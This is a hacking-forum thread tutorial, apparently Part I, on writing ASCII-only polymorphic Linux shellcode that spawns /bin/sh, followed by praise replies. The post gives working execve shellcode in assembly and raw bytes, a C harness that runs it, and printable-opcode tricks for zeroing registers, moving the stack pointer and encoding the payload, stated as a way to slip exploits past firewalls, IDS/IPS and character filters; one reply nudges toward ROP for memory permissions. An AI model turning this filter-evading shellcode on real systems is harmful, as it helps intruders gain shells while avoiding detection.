

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] ~ Writing Custom ASCII Shellcode \(Part I\)](#)

Goodies - July 20, 2015, 9:24 am

Hello everyone!

This is going to be a very difficult tutorial so this may require that you have some knowledge in shellcode writing and basic assembly. This is the process I went through my very first time writing ASCII polymorphic code so please bear with me. If anything is incorrect or may be improved, please let me know. We are going to be creating a standard local Linux shellcode (you can find a tutorial I wrote here): <https://hackforums.net/showthread.php?tid=3995986>

First, we will construct a loader that will make room on the stack, copy our payload, and execute it all on the stack at runtime.

This is the original shellcode:

PHP Code

```
<?php
```

```
SECTION .data
```

```
    global _start
```

```
_start: jmp j
```

```
r:
```

```
    pop ebx
```

```
    xor eax, eax
```

```
    mov BYTE [ebx+7], al
```

```
    mov DWORD[ebx+8], ebx
```

```
    mov DWORD[ebx+12], eax
```

```
    mov al, 11d
```

```
    lea ecx, [ebx+8]
```

```
    lea edx, [ebx+12]
```

```
    int 80h
```

```
j:    call r
```

```
shell: db "/bin/sh"
```

Our goal is to create shellcode that does this exact thing but ONLY using instructions whose opcode is a printable ASCII character.

Why ASCII Shellcode?

There are a couple main reasons why ASCII shellcode can be extremely beneficial to an exploit (especially a remote exploit): Firewalls and network based IDS and IPS devices/programs can, and will, flag and/or stop attacks with certain bytes such as those in common shellcode. However, if all of the bytes are ASCII, they will appear to an IDS as printable data. I have yet to come across an IDS that is able to heuristically detect such an attack.

Many programs have an inert security feature that may replace, remove, or ignore bytes that are not printable; this is the same principle as the IDS one, but this occurs in the application itself.

ASCII List

Through a simple C file, I generated all of the ASCII characters and their values:

Code 0x21 = 0x22 = ! 0x23 = " 0x24 = #

0x25 = \$	0x26 = %	0x27 = &	0x28 = '
0x29 = (	0x2A =)	0x2B = *	0x2C = +
0x2D = ,	0x2E = -	0x2F = .	0x30 = /
0x31 = 0	0x32 = 1	0x33 = 2	0x34 = 3
0x35 = 4	0x36 = 5	0x37 = 6	0x38 = 7
0x39 = 8	0x3A = 9	0x3B = :	0x3C = ;
0x3D = <	0x3E = =	0x3F = >	0x40 = ?
0x41 = @	0x42 = A	0x43 = B	0x44 = C
0x45 = D	0x46 = E	0x47 = F	0x48 = G
0x49 = H	0x4A = I	0x4B = J	0x4C = K
0x4D = L	0x4E = M	0x4F = N	0x50 = O
0x51 = P	0x52 = Q	0x53 = R	0x54 = S
0x55 = T	0x56 = U	0x57 = V	0x58 = W
0x59 = X	0x5A = Y	0x5B = Z	0x5C = [
0x5D = \	0x5E =]	0x5F = ^	0x60 = _
0x61 = `	0x62 = a	0x63 = b	0x64 = c
0x65 = d	0x66 = e	0x67 = f	0x68 = g
0x69 = h	0x6A = i	0x6B = j	0x6C = k
0x6D = l	0x6E = m	0x6F = n	0x70 = o
0x71 = p	0x72 = q	0x73 = r	0x74 = s
0x75 = t	0x76 = u	0x77 = v	0x78 = w
0x79 = x	0x7A = y	0x7B = z	0x7C = {
0x7D =	0x7E = }	0x7F = ~	

Note: For some reason, I have been using 0x7e as the highest value. Don't worry, nothing needs to be changed, but just note that you can go up to 7F, not 7E. My apologies.

C File Source: [\(Click to View\)](#)

PHP Code

```
<?php
#include <stdio.h>
int main(int argc, char **argv){
    char c = '\x20', i=0;                // two chars
    while(c < 0x7F){                    // loop through ASCII printables
        for(i=0; i<4; i++)              // print 4 rows
            if(c<0x7F)                  // don't print ASCII DEL
                printf("0x%X = %c\t",c,c++); // print Hex then ASCII
        fputc('\n', stdout);            // add a newline
    }
}
```

Basics of Finding ASCII Instructions/Values

Note: Before I continue, you should know how I am getting the opcode of my commands. I put the command in a single ASM source file (1.asm) and run:

```
nasm 1.asm -f bin
hexdump -C 1
```

If you see any bytes with the value "66", ignore it. It tells the compiler to use 16-bit instructions rather than 32 bit. Chances are, it won't happen to you.

Right off the bat, we see that many commands are not encoded in ASCII. For example, we need to clear the EAX register because, since we are overwriting a return address, there may have been something moved into EAX as a return value. If we look at the opcode for:

PHP Code

```
<?php
```

```
xor eax, eax ;// OP CODE = 31 c0
```

Now, the command for XOR is within the ASCII limits, but since we cannot XOR EAX with itself, it won't be cleared and there is no sense of using it.

We need to think of ways to clear out the EAX register. One very common way is to use the AND operator with EAX, then AND it again with the exact opposite number. The thing is, we need to find two numbers who are both opposites and in the range 0x20 and 0x7E. So, let's go ahead and try this out.

I wrote another C algorithm to go ahead and check this for me ;) This took longer than you might think...

C File Source:

PHP Code

```
<?php
```

```
#include <stdio.h>
```

```
#define SHOW 1
```

```
int main(){
    char c = '\x00';
    int i = 100;
    long var1 = NUM_1_HERE;
    long var2 = NUM_2_HERE;
    i &= var1;
    i &= var2;
    /*
     * If they want to actually list them all, keep SHOW = 1
     */
    if(SHOW)
        for(c = '\x20'; c < 0x7E; c++)
            if(~c - 0xffffffff00 - 0x80 > 0x20 && ~c - 0xffffffff00 - 0x80 <= 0x7e)
                printf("%x (%c) , %x (%c)\n", c, c, (~c - 0xffffffff00 - 0x80), (~c - 0xffffffff00 - 0x80));
    /*
     * If they want to test var1 and var2
     */
    if(!SHOW)
        if(i==0)
            printf("0x%x and 0x%x are opposites!\n", var1, var2);
    /*Why does the second one return 0 every time?*/
}
```

How to use it:

If you just want to generate a list, change "#define SHOW 0" to "#define SHOW 1". This will generate output that will tell you which ASCII characters have opposites in the ASCII range.

I'll use the first output:

21 (!) , 5e (^)

What we would have to do now is replace "NUM_1_HERE" with 0x21212121 and "NUM_2_HERE" with 0x5e5e5e5e simply to ensure that they are, in fact, opposites. Be sure to change SHOW back to 0.

Let's go ahead and compile our new ASM file to see if our code is within the ASCII boundaries:

```
Code ;// ASM file
and eax, 0x21212121
and eax, 0x5e5e5e5e
nasm 1.asm -f bin
hexdump -C 1
```

On the left, we see (after removing 0x66's):

```
%!!!!%^^^^
```

Perfect! All of those are valid, printable ASCII characters that should not be blocked by any program. If they are, there are several more that you can try that are both alphanumeric (such as 38 (8) , 47 (G)). This works just as well.

Makin' Room On The Stack

This is going to be a huge pain in the ass if you've never worked with shellcode before. This code is polymorphic so our loader will decode and execute the memory on the stack. However, we MUST make an offset large enough for our loader. I'm going to use 1,000 bytes and the rest will be filled with NOPs (note that \x90 is not an ASCII value. We'll cross that bridge later).

1. How do we add space to the stack?

That's simple! All we have to do is run:

PHP Code

```
<?php
```

```
add esp, 1000d ;// opcode: 81 ec e8 03 00 00
```

However, if you compile this, there are two problems. It contains NULL bytes and some the non-NULL bytes are not within ASCII range. Thus, we have hit our first in the road.

Well, there are other things we can do. For example, we can move ESP into EAX and subtract the value from there, except the mov command is not within ASCII range. The only way that I see this is possible is by pushing ESP onto the stack and popping it into EAX.

PHP Code

```
<?php
```

```
push esp ;// opcode: 54
```

```
pop eax ;// opcode: 58
```

```
;//Later on, we will need to push EAX and pop into ESP so let's make sure those are valid as well.
```

```
push eax ;// opcode: 50
```

```
pop esp ;// opcode: 5c
```

Hooray! All of those work. Now, we need to subtract 1,000 bytes of space from EAX (ESP's value). However, this is going to be a problem because it doesn't have NULL bytes. Oh but wait, there's more!

If any of you are familiar with TCP/IP stack attacks, there is an attack called NAT pinning. I'll spare you the details, but essentially, some browsers are blocking IRC ports due to cross protocol scripting attacks that the NAT pinning uses. They block port 6667. However, since a port is only 16 bits long, if we add 65566 (2^{16}) to 6667, we get 72233. Since it will only read the lowest 16 bits, the value is actually used as 6667.

We are going to follow the same logic in reverse with our attack code. We are using 32 bit registers, right? $2^{32} = 4294967296$. If we subtract 1000 from that number, we can subtract THAT number from the register which will actually add more to it.

Here's how it actually looks in binary: [\(Click to View\)](#)

Say we had an 8 bit register. We wanted to add a binary value of 1000 (decimal 8) to it. How would we do that? Say value one is something like:

```
11001100 (204)
+
00001000 (8)
=
11010100 (212)
```

How can we do this via subtraction keeping in mind that we only check the last bits? Subtract binary 1000 from binary 2^8 :

```
111001100 (204) (assume that a 1 is borrowed)
-
011111000 ( $2^8 - 8$ )
=
011010100 (212)
```

We need to subtract ($2^{32} - 1000$) from EAX (which holds ESP's value). We compile it, but something is wrong:

PHP Code

```
<?php
```

```
sub eax, 4294966296 ;// opcode: 2d 18 fc ff ff
```

The number does not fall within the ASCII range which means we are going to have to break this up. I'll first subtract 0x7e7e7e7e (maximum I can since 7e is the highest single byte) which leaves us with 2172747162.

PHP Code

```
<?php
```

```
sub eax, 0x7e7e7e7e ;// opcode: 2d 7e 7e 7e 7e
```

```
sub eax, 2172747162 ;// opcode: 2d 9a 7d 81 81
```

Damn... this is still too large.

Note that, if we do any subtraction now, we must subtract at LEAST 0x20 from each byte or we will have either NULLs or bytes that are not in ASCII range. This won't be a problem. Now we need to subtract values to make sure they BOTH fit in ASCII range.

(Reverse the order because of little endian) 0x81817d91 - 0x?? = 0x??

0x81 - 0x30 = 51 (ASCII)

0x81 - 0x30 = 51 (ASCII)

0x7d - 0x30 = 4d (ASCII)

0x9a - 0x30 = 6a (ASCII)

Therefore, our three numbers are now:0x7e7e7e7e

0x30303030

0x51514d6a

Our file so far:

PHP Code

```
<?php
```

```
and eax, 0x21212121 ;// \x25\x21\x21\x21\x21
```

```

and eax, 0x5e5e5e5e ;// \x25\x5e\x5e\x5e\x5e
push esp ;// \x54
pop eax ;// \x58
sub eax, 0x7e7e7e7e ;// \x2d\x7e\x7e\x7e\x7e
sub eax, 0x30303030 ;// \x2d\x30\x30\x30\x30
sub eax, 0x51514d6a ;// \x2d\x6a\x4d\x51\x51
push eax ;// \x50
pop esp ;// \x5c

```

We have the first part of our loader! Now we need to write the portion that actually spawns a shell. Let's go!

Encoding Our Shellcode:

We already have shellcode that we know works (thanks to my tutorial at the top of this thread) so, instead of recreating it in this tutorial, I'll just assume you read it (lol).

I'll be testing our shellcode with this C file:

PHP Code

```

<?php
#include <stdio.h>
#include <string.h>

```

```

void exec();
unsigned char shellcode[] =
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x
80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

```

```

int main(int argc, char **argv){
    printf("Length: %d", strlen(shellcode));
    char i, j = 0;
    for(i=0; i<=strlen(shellcode); i++)
        if((char)*(shellcode+i)<0x20 || (char)*(shellcode+i)>0x7e)
            j = 1;
    if(!j)
        printf(" - Alphanumeric!\n");
    else
        printf(" - Not Alphanumeric!\n");
    exec();
    return 0;
}

```

```

void exec(){
    (*(void(*)())shellcode)();
}

```

Which I've written to also tell us if it is or is not alphanumeric. As you can see, the shellcode I already have in there works fine. This, however, contains several bytes that are NOT in ASCII range. So, to correct for this, we are going to have to manually encode all of it. There is a very simple pattern and I've already shown it to you, so let's get started.

Our shellcode:

Code

```

\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x
80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

```

Since this is little endian, we must change this. After I changed it to little endian, I separated it into groups of 4 bytes like this:

PHP Code

```
<?php
```

```
push 0x68732f6e ;// all are ASCII
```

```
push 0x69622fff ;// not
```

```
push 0xffffe5e8 ;// not
```

```
push 0x80cd0c53 ;// not
```

```
push 0x8d084b8d ;// not
```

```
push 0x0bb00c43 ;// not
```

```
push 0x89085b89 ;// not
```

```
push 0x074388c0 ;// not
```

```
push 0x315b16eb ;// not
```

Note: if you shellcode is NOT a multiple of 4, simply fill the rest with \x90 (NOP) but do not keep them \x00 (NULL).

All of these values need to be pushed onto the stack. If we do this, our shellcode will be able to execute!

The only issues are: We cannot push the values right onto the stack.

The values are not in the ASCII range.

Some of you can already see what we have to do. We need to move the values into EAX, alter them so they get to the correct values, then push EAX onto the stack. Wow... Note that this is 100% written by me so I'm not copying anyone else's code whatsoever. 100% of what is in this thread is written by me.

Mastery - July 20, 2015, 9:26 am

Great tutorial. You're a very skilled and smart pentester, one of the few around here.

tendercareAustin - July 20, 2015, 10:46 am

If only you can add exploits that can change privileges using local exploits. Some shells are without "drwxrwxrwx" permissions. I wish I could get some assistance on local exploits.

Goodies - July 20, 2015, 11:05 am

(Jul 20, 2015 10:46 AM) tendercareAustin wrote: [\[CITE\]](#) If only you can add exploits that can change privileges using local exploits. Some shells are without "drwxrwxrwx" permissions. I wish I could get some assistance on local exploits.

That isn't really the point of this thread. You can use ROP gadgets to allocate rwx memory, copy shellcode, and execute from there. All of that should be able to be done in ASCII as well.

Goodies - July 21, 2015, 1:11 pm

(Jul 20, 2015 10:46 AM) tendercareAustin wrote: [\[CITE\]](#) If only you can add exploits that can change privileges using local exploits. Some shells are without "drwxrwxrwx" permissions. I wish I could get some assistance on local exploits.

I like your name, though.

But yeah, look into ROP.

PhantomElite - July 25, 2015, 5:01 am

Good thread HQ user wish there was more of this stuff on HF.

SIM-1866423 - July 27, 2015, 8:03 am

You and ur tutorials always HQ.

Congratulations ?

fLQZ - August 24, 2015, 3:35 pm

Nice man , thanks. Keep up doing!

Langer343 - November 6, 2015, 2:22 pm

Damn son, this is really nice, keep up the great work!

R^ptor - May 10, 2016, 6:42 pm

Fantastic tut always HQ!!

roissy - August 2, 2016, 7:53 am

thank you. amazing tutorials ?

drogba180 - April 1, 2017, 1:00 am

Great tutorial. You're a very skilled and smart pentester

Nomad.Null - April 1, 2017, 2:50 pm

Very nice tutorial, Goodies. You going for OSCE yet?